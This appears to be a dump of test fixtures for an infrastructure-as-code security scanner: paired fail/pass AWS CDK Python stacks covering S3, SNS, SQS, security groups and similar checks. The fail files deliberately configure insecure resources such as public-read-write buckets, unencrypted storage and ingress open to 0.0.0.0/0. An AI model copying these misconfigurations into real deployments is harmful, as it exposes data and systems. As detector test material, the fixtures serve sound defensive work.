\"S3BucketWithBlockPublicAclsStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BlockPublicACLs/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_s3 as s3\n\nclass S3BucketWithBlockPublicAclsStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        s3.CfnBucket(\n            self,\n            \"MyBucket\",\n            public_access_block_configuration={\n                \"blockPublicAcls\": True,\n                \"blockPublicPolicy\": True,\n                \"ignorePublicAcls\": True,\n                \"restrictPublicBuckets\": True\n            }\n        )\n\napp = core.App()\nS3BucketWithBlockPublicAclsStack(app, \"S3BucketWithBlockPublicAclsStack\")\napp.synth()\n\n\n\nclass S3BucketWithBlockPublicAclsStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        s3.Bucket(\n            self,\n            \"MyBucket\",\n            block_public_access=s3.BlockPublicAccess(block_public_acls=True)\n        )\n\napp = core.App()\nS3BucketWithBlockPublicAclsStack(app, \"S3BucketWithBlockPublicAclsStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BlockPublicPolicy/fail__2__.py",
    "content": "from constructs import Construct\nfrom aws_cdk import App, Stack \nfrom aws_cdk import (\n    aws_s3 as s4\n)\n\nclass MyS3Stack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        bucket = s4.Bucket(self, \"MyBlockedBucket\",\n            block_public_access=s4.BlockPublicAccess(block_public_policy=False)\n        )\n\n        bucket2 = s4.Bucket(self, \"MyBlockedBucket2\"\n        )\n\napp = App()\nMyS3Stack(app, \"MyS3Stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BlockPublicPolicy/pass.py",
    "content": "from constructs import Construct\nfrom aws_cdk import App, Stack \nfrom aws_cdk import (\n    aws_s3 as s4\n)\n\n\nclass MyS3Stack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        bucket = s4.Bucket(self, \"MyBlockedBucket\",\n            block_public_access=s4.BlockPublicAccess(block_public_policy=True)\n        )\n\n        bucket2 = s4.Bucket(self, \"MyBlockedBucket2\",\n                        block_public_access=s4.BlockPublicAccess.BLOCK_ALL\n                    )\n\napp = App()\nMyS3Stack(app, \"MyS3Stack\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketEncryption/fail__2__.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        fail_1 = s3.Bucket(\n            self,\n            \"example\",\n        )\n\n        fail_2 = s3.Bucket(\n            self,\n            \"example\",\n            encryption=s3.BucketEncryption.UNENCRYPTED,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketEncryption/pass.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        pass_1 = s3.Bucket(\n            self,\n            \"example\",\n            encryption=s3.BucketEncryption.S3_MANAGED,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketKMSEncryption/fail__3__.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        fail_1 = s3.Bucket(\n            self,\n            \"example\",\n        )\n\n        fail_2 = s3.Bucket(\n            self,\n            \"example\",\n            encryption=s3.BucketEncryption.UNENCRYPTED,\n        )\n\n        fail_3 = s3.Bucket(\n            self,\n            \"example\",\n            encryption=s3.BucketEncryption.S3_MANAGED,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketKMSEncryption/pass.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        pass_1 = s3.Bucket(\n            self,\n            \"example\",\n            encryption=s3.BucketEncryption.KMS_MANAGED,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketLogging/fail.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        fail_1 = s3.Bucket(\n            self,\n            \"example\",\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketLogging/pass.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        pass_1 = s3.Bucket(\n            self,\n            \"example\",\n            # this would normally reference another bucket, but then I can't separate the tests\n            server_access_logs_bucket=bucket,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketPublicAccessBlock/fail.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        fail_1 = s3.Bucket(\n            self,\n            \"example\",\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketPublicAccessBlock/pass.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        pass_1 = s3.Bucket(\n            self,\n            \"example\",\n            block_public_access=s3.BlockPublicAccess.BLOCK_ALL,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketVersioning/fail__2__.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        fail_1 = s3.Bucket(\n            self,\n            \"example\",\n        )\n        fail_2 = s3.Bucket(\n            self,\n            \"example\",\n            versioned=False,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BucketVersioning/pass.py",
    "content": "from aws_cdk import App, Stack, aws_s3 as s3\n\n\nclass AppStack(Stack):\n    def __init__(self, app: App, id: str) -> None:\n        super().__init__(app, id)\n\n        pass_1 = s3.Bucket(\n            self,\n            \"example\",\n            versioned=True,\n        )\n\n\napp = App()\nAppStack(app, \"example-stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3IgnorePublicACLs/fail__2__.py",
    "content": "from constructs import Construct\nfrom aws_cdk import App, Stack \nfrom aws_cdk import (\n    aws_s3 as s4\n)\n\nclass MyStack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs):\n        super().__init__(scope, id, **kwargs)\n\n\t\t# fail\n        bucket = s4.Bucket(self, \"MyS3Bucket\",\n            bucket_name='my-s3-bucket',\n            public_read_access=False,\n            block_public_access=s4.BlockPublicAccess(\n                ignore_public_acls=False\n            )\n        )\n\n        value = False\n\t\t# fail\n        bucket2 = s4.Bucket(self, \"MyS3Bucket2\",\n            bucket_name='my-s3-bucket2',\n            public_read_access=False,\n            block_public_access=s4.BlockPublicAccess(\n                ignore_public_acls=value\n            )\n        )\n\napp = App()\nMyStack(app, \"my-stack-name\")\n\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3IgnorePublicACLs/pass.py",
    "content": "from constructs import Construct\nfrom aws_cdk import App, Stack \nfrom aws_cdk import (\n    aws_s3 as s4\n)\n\n\nclass MyStac2(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs):\n        super().__init__(scope, id, **kwargs)\n\n\t\t# pass\n        bucket = s4.Bucket(self, \"MyS3Bucket\",\n            bucket_name='my-s3-bucket',\n            public_read_access=False,\n            block_public_access=s4.BlockPublicAccess(\n                ignore_public_acls=True\n            )\n        )\n\n        # pass\n        bucket2 = s4.Bucket(self, \"MyS3Bucket2\",\n            bucket_name='my-s3-bucket2',\n            public_read_access=False,\n            block_public_access=s4.BlockPublicAccess(\n                ignore_public_acls=True\n            )\n        )\n\napp = App()\nMyStack(app, \"my-stack-name\")\n\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3PublicACLRead/fail__3__.py",
    "content": "from constructs import Construct\nfrom aws_cdk import App, Stack \nfrom aws_cdk import (\n    aws_s3 as s3\n)\n\n\nclass MyS3Stack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        bucket = s3.Bucket(self, \"MyPublicReadBucket\",\n                            bucket_name=\"my-public-read-bucket\",\n                            access_control=s3.BucketAccessControl.PUBLIC_READ\n                            )\n        \n        bucket2 = s3.Bucket(self, \"MyPublicReadBucket2\",\n                            bucket_name=\"my-public-read-bucket2\",  \n                            access_control=s3.BucketAccessControl.PUBLIC_READ_WRITE\n                            )\n        \n        bucket3 = s3.Bucket(self, \"MyPublicReadBucket3\",\n                            bucket_name=\"my-public-read-bucket3\",\n                            public_read_access=True\n                            )\n\napp = App()\nMyS3Stack(app, \"MyS3Stack\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/S3PublicACLRead/pass.py",
    "content": "from constructs import Construct\nfrom aws_cdk import App, Stack \nfrom aws_cdk import (\n    aws_s3 as s3\n)\n\n\nclass MyS3Stack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        bucket = s3.Bucket(self, \"MyPublicReadBucket\",\n                            bucket_name=\"my-public-read-bucket\"\n                            )\n        \n        bucket2 = s3.Bucket(self, \"MyPublicReadBucket2\",\n                            bucket_name=\"my-public-read-bucket2\",\n                            access_control=s3.BucketAccessControl.PRIVATE\n                            )\n\napp = App()\nMyS3Stack(app, \"MyS3Stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3PublicACLWrite/fail__2__.py",
    "content": "from constructs import Construct\nfrom aws_cdk import App, Stack \nfrom aws_cdk import (\n    aws_s3 as s3\n)\n\n\nclass MyS3Stack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n        \n        bucket2 = s3.Bucket(self, \"MyPublicReadBucket2\",\n                            bucket_name=\"my-public-read-bucket2\",  \n                            access_control=s3.BucketAccessControl.PUBLIC_READ_WRITE\n                            )\n        \n        bucket3 = s3.Bucket(self, \"MyPublicReadBucket3\",\n                            bucket_name=\"my-public-read-bucket3\",\n                            public_read_access=True\n                            )\n\napp = App()\nMyS3Stack(app, \"MyS3Stack\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/S3PublicACLWrite/pass.py",
    "content": "from constructs import Construct\nfrom aws_cdk import App, Stack \nfrom aws_cdk import (\n    aws_s3 as s3\n)\n\n\nclass MyS3Stack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        bucket = s3.Bucket(self, \"MyPublicReadBucket\",\n                            bucket_name=\"my-public-read-bucket\"\n                            )\n        \n        bucket2 = s3.Bucket(self, \"MyPublicReadBucket2\",\n                            bucket_name=\"my-public-read-bucket2\",\n                            access_control=s3.BucketAccessControl.PRIVATE\n                            )\n\napp = App()\nMyS3Stack(app, \"MyS3Stack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3RestrictPublicBuckets/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_s3 as s3\n\nclass S3BucketWithPublicAccessStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n        s3.Bucket(\n            self,\n            \"aaa\",\n            versioned=False,  # You can enable versioning if needed\n            removal_policy=core.RemovalPolicy.DESTROY,  # Change this according to your retention policy\n            block_public_acls=True,\n            block_public_policy=True,\n            ignore_public_acls=True,\n            restrict_public_buckets=False\n        )\n\napp = core.App()\nS3BucketWithPublicAccessStack(app, \"S3BucketWithPublicAccessStack\")\napp.synth()\n\nclass PublicS3BucketStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a CloudFormation S3 bucket resource\n        public_bucket = s3.CfnBucket(\n            self,\n            \"PublicBucket\",\n            versioning_configuration={\n                \"status\": \"Suspended\"  # You can enable versioning if needed\n            },\n            public_access_block_configuration={\n                \"blockPublicAcls\": True,\n                \"blockPublicPolicy\": True,\n                \"ignorePublicAcls\": True,\n                \"restrictPublicBuckets\": False\n            }\n        )\n\napp = core.App()\nPublicS3BucketStack(app, \"PublicS3BucketStack\")\napp.synth()\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3RestrictPublicBuckets/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_s3 as s3\n\nclass S3BucketWithPublicAccessStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n        s3.Bucket(\n            self,\n            \"aaa\",\n            versioned=False,  # You can enable versioning if needed\n            removal_policy=core.RemovalPolicy.DESTROY,  # Change this according to your retention policy\n            block_public_acls=True,\n            block_public_policy=True,\n            ignore_public_acls=True,\n            restrict_public_buckets=True\n        )\n\napp = core.App()\nS3BucketWithPublicAccessStack(app, \"S3BucketWithPublicAccessStack\")\napp.synth()\n\nclass PublicS3BucketStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a CloudFormation S3 bucket resource\n        public_bucket = s3.CfnBucket(\n            self,\n            \"PublicBucket\",\n            versioning_configuration={\n                \"status\": \"Suspended\"  # You can enable versioning if needed\n            },\n            public_access_block_configuration={\n                \"blockPublicAcls\": True,\n                \"blockPublicPolicy\": True,\n                \"ignorePublicAcls\": True,\n                \"restrictPublicBuckets\": True\n            }\n        )\n\napp = core.App()\nPublicS3BucketStack(app, \"PublicS3BucketStack\")\napp.synth()\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/SNSTopicEncryption/fail.py",
    "content": "from constructs import Construct\nfrom aws_cdk import (\n    App, \n    Stack,\n    aws_sns as sns,\n    aws_kms as kms\n)\n\n\nclass MyStack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        topic = sns.Topic(self, \"Topic\",\n                          topic_name=\"my-topic\",\n                          )\n\napp = App()\nMyStack(app, \"MyStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/SNSTopicEncryption/pass.py",
    "content": "from constructs import Construct\nfrom aws_cdk import (\n    App, \n    Stack,\n    aws_sns as sns,\n    aws_kms as kms\n)\n\n\nclass MyStack(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        key = kms.Key(self, \"MyKey\")\n\n        topic = sns.Topic(self, \"Topic\",\n                          topic_name=\"my-topic\",\n                          master_key=key)\n\n\napp = App()\nMyStack(app, \"MyStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/SQSQueueEncryption/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_sqs as sqs\nclass SqsQueueWithKmsKeyStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an SQS queue with KMS encryption\n        queue = sqs.Queue(self, \"MySqsQueue\",\n            encryption=sqs.QueueEncryption.KMS,\n            visibility_timeout=300  # Other properties for the queue\n        )\n\napp = core.App()\nSqsQueueWithKmsKeyStack(app, \"SqsQueueWithKmsKeyStack\")\napp.synth()\n\n\n\nclass SqsQueueWithKmsKeyIdStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define an SQS queue with a specific KmsMasterKeyId\n        queue = sqs.CfnQueue(self, \"MySqsQueue\",\n            visibility_timeout=300  # Other properties for the queue\n        )\n\napp = core.App()\nSqsQueueWithKmsKeyIdStack(app, \"SqsQueueWithKmsKeyIdStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/SQSQueueEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_sqs as sqs\nfrom aws_cdk import aws_kms as kms\nfrom aws_cdk import aws_cloudformation as cfn\nclass SqsQueueWithKmsKeyStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a KMS key for encryption\n        kms_key = kms.Key(self, \"MyKmsKey\", enable_key_rotation=True)\n\n        # Create an SQS queue with KMS encryption\n        queue = sqs.Queue(self, \"MySqsQueue\",\n            encryption=sqs.QueueEncryption.KMS,\n            encryption_master_key=kms_key,\n            visibility_timeout=300  # Other properties for the queue\n        )\n\napp = core.App()\nSqsQueueWithKmsKeyStack(app, \"SqsQueueWithKmsKeyStack\")\napp.synth()\n\n\n\nclass SqsQueueWithKmsKeyIdStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define a custom KMS key\n        kms_key = cfn.CfnCustomResource(self, \"MyKmsKeyResource\",\n            service_token=\"arn:aws:lambda:<your-region>:<your-account>:function/<your-lambda-function>\",\n            # Add other properties as needed\n        )\n\n        # Define an SQS queue with a specific KmsMasterKeyId\n        queue = sqs.CfnQueue(self, \"MySqsQueue\",\n            kms_master_key_id=kms_key.get_att(\"KmsKeyId\"),\n            visibility_timeout=300  # Other properties for the queue\n        )\n\napp = core.App()\nSqsQueueWithKmsKeyIdStack(app, \"SqsQueueWithKmsKeyIdStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/SecretManagerSecretEncrypted/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_secretsmanager as secretsmanager\n\nclass MySecretsStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define a SecretsManager secret with KMS key ID containing \"aws/\"\n        my_secret = secretsmanager.Secret(\n            self, 'MySecret',\n            secret_name='MySecretName',\n            kms_key_id='arn:aws:kms:REGION:ACCOUNT_ID:key/aws/KMS_KEY_ID'\n        )\n\nclass MySecretsStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        my_secret = secretsmanager.Secret(\n            self, 'MySecret',\n            secret_name='MySecretName',\n        )\n\napp = core.App()\nMySecretsStack(app, \"MySecretsStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/SecretManagerSecretEncrypted/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_secretsmanager as secretsmanager\n\nclass MySecretsStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define a SecretsManager secret with KMS key ID containing \"aws/\"\n        my_secret = secretsmanager.Secret(\n            self, 'MySecret',\n            secret_name='MySecretName',\n            kms_key_id='arn:aws:kms:REGION:ACCOUNT_ID:key/KMS_KEY_ID'\n        )\n\napp = core.App()\nMySecretsStack(app, \"MySecretsStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/SecurityGroupRuleDescription/fail__4__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MySecurityGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EC2 Security Group\n        security_group = ec2.CfnSecurityGroup(\n            self, 'MySecurityGroup',\n            group_description='My security group',\n            security_group_ingress=[\n                {\n                    'description': 'False',\n                    'ipProtocol': 'tcp',\n                    'fromPort': 80,\n                    'toPort': 80,\n                    'cidrIp': '0.0.0.0/0'\n                }\n            ],\n            # Other properties for your Security Group\n        )\n\napp = core.App()\nMySecurityGroupStack(app, \"MySecurityGroupStack\")\napp.synth()\n\n\n\nclass MySecurityGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EC2 Security Group\n        security_group = ec2.CfnSecurityGroup(\n            self, 'MySecurityGroup',\n            group_description='My security group',\n            security_group_egress=[\n                {\n                    'description': 'False',\n                    'ipProtocol': 'tcp',\n                    'fromPort': 80,\n                    'toPort': 80,\n                    'cidrIp': '0.0.0.0/0'\n                }\n            ],\n            # Other properties for your Security Group\n        )\n\napp = core.App()\nMySecurityGroupStack(app, \"MySecurityGroupStack\")\napp.synth()\n\n\nclass MySecurityGroupIngressStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EC2 Security Group Ingress\n        security_group_ingress = ec2.CfnSecurityGroupIngress(\n            self, 'MySecurityGroupIngress',\n            group_id='your-security-group-id',  # Replace with your Security Group ID\n            ip_protocol='tcp',\n            from_port=80,\n            to_port=80,\n            cidr_ip='0.0.0.0/0',\n            # Other properties for your Security Group Ingress\n        )\n\napp = core.App()\nMySecurityGroupIngressStack(app, \"MySecurityGroupIngressStack\")\napp.synth()\n\nclass MySecurityGroupEgressStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EC2 Security Group Ingress\n        security_group_ingress = ec2.CfnSecurityGroupEgress(\n            self, 'MySecurityGroupIngress',\n            group_id='your-security-group-id',  # Replace with your Security Group ID\n            ip_protocol='tcp',\n            from_port=80,\n            to_port=80,\n            cidr_ip='0.0.0.0/0',\n            # Other properties for your Security Group Ingress\n        )\n\napp = core.App()\nMySecurityGroupEgressStack(app, \"MySecurityGroupEgressStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/SecurityGroupRuleDescription/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MySecurityGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EC2 Security Group\n        security_group = ec2.CfnSecurityGroup(\n            self, 'MySecurityGroup',\n            group_description='My security group',\n            security_group_ingress=[\n                {\n                    'description': 'True',\n                    'ipProtocol': 'tcp',\n                    'fromPort': 80,\n                    'toPort': 80,\n                    'cidrIp': '0.0.0.0/0'\n                }\n            ],\n            # Other properties for your Security Group\n        )\n\napp = core.App()\nMySecurityGroupStack(app, \"MySecurityGroupStack\")\napp.synth()\n\n\n\nclass MySecurityGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EC2 Security Group\n        security_group = ec2.CfnSecurityGroup(\n            self, 'MySecurityGroup',\n            group_description='My security group',\n            security_group_egress=[\n                {\n                    'description': 'True',\n                    'ipProtocol': 'tcp',\n                    'fromPort': 80,\n                    'toPort': 80,\n                    'cidrIp': '0.0.0.0/0'\n                }\n            ],\n            # Other properties for your Security Group\n        )\n\napp = core.App()\nMySecurityGroupStack(app, \"MySecurityGroupStack\")\napp.synth()\n\n\nclass MySecurityGroupIngressStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EC2 Security Group Ingress\n        security_group_ingress = ec2.CfnSecurityGroupIngress(\n            self, 'MySecurityGroupIngress',\n            group_id='your-security-group-id',  # Replace with your Security Group ID\n            ip_protocol='tcp',\n            from_port=80,\n            to_port=80,\n            cidr_ip='0.0.0.0/0',\n            description='abc'\n            # Other properties for your Security Group Ingress\n        )\n\napp = core.App()\nMySecurityGroupIngressStack(app, \"MySecurityGroupIngressStack\")\napp.synth()\n\nclass MySecurityGroupEgressStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EC2 Security Group Ingress\n        security_group_ingress = ec2.CfnSecurityGroupEgress(\n            self, 'MySecurityGroupIngress',\n            group_id='your-security-group-id',  # Replace with your Security Group ID\n            ip_protocol='tcp',\n            from_port=80,\n            to_port=80,\n            cidr_ip='0.0.0.0/0',\n            description='abc'\n            # Other properties for your Security Group Ingress\n        )\n\napp = core.App()\nMySecurityGroupEgressStack(app, \"MySecurityGroupEgressStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/TransferServerIsPublic/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_transfer as transfer\n\nclass MyTransferServerStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Transfer Server with EndpointType set to VPC\n        transfer.CfnServer(\n            self, 'MyTransferServer',\n            endpoint_type='abc',\n            # Other properties as needed for your Transfer Server\n        )\n\napp = core.App()\nMyTransferServerStack(app, \"MyTransferServerStack\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/TransferServerIsPublic/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_transfer as transfer\n\nclass MyTransferServerStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Transfer Server with EndpointType set to VPC\n        transfer.CfnServer(\n            self, 'MyTransferServer',\n            endpoint_type='VPC',\n            # Other properties as needed for your Transfer Server\n        )\n\napp = core.App()\nMyTransferServerStack(app, \"MyTransferServerStack\")\napp.synth()\n\n\nclass MyTransferServerStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Transfer Server with EndpointType set to VPC\n        transfer.CfnServer(\n            self, 'MyTransferServer',\n            endpoint_type='VPC_ENDPOINT',\n            # Other properties as needed for your Transfer Server\n        )\n\napp = core.App()\nMyTransferServerStack2(app, \"MyTransferServerStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/VPCEndpointAcceptanceConfigured/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MyVpcEndpointServiceStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define VPC Endpoint Service with acceptance required\n        vpc_endpoint_service = ec2.CfnVPCEndpointService(\n            self, 'MyVPCEndpointService',\n            acceptance_required=False,\n            # Other properties for your VPC Endpoint Service\n        )\n\napp = core.App()\nMyVpcEndpointServiceStack(app, \"MyVpcEndpointServiceStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/VPCEndpointAcceptanceConfigured/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MyVpcEndpointServiceStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define VPC Endpoint Service with acceptance required\n        vpc_endpoint_service = ec2.CfnVPCEndpointService(\n            self, 'MyVPCEndpointService',\n            acceptance_required=True,\n            # Other properties for your VPC Endpoint Service\n        )\n\napp = core.App()\nMyVpcEndpointServiceStack(app, \"MyVpcEndpointServiceStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/WAFEnabled/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudfront as cloudfront\n\nclass CloudFrontDistributionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a CloudFront distribution\n        distribution = cloudfront.CfnDistribution(\n            self,\n            \"MyCloudFrontDistribution\",\n            distribution_config={\n                \"defaultCacheBehavior\": {\n                    # Configure your cache behavior as needed\n                },\n                \"enabled\": True,\n            }\n        )\n\napp = core.App()\nCloudFrontDistributionStack(app, \"CloudFrontDistributionStack\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/WAFEnabled/pass.py",
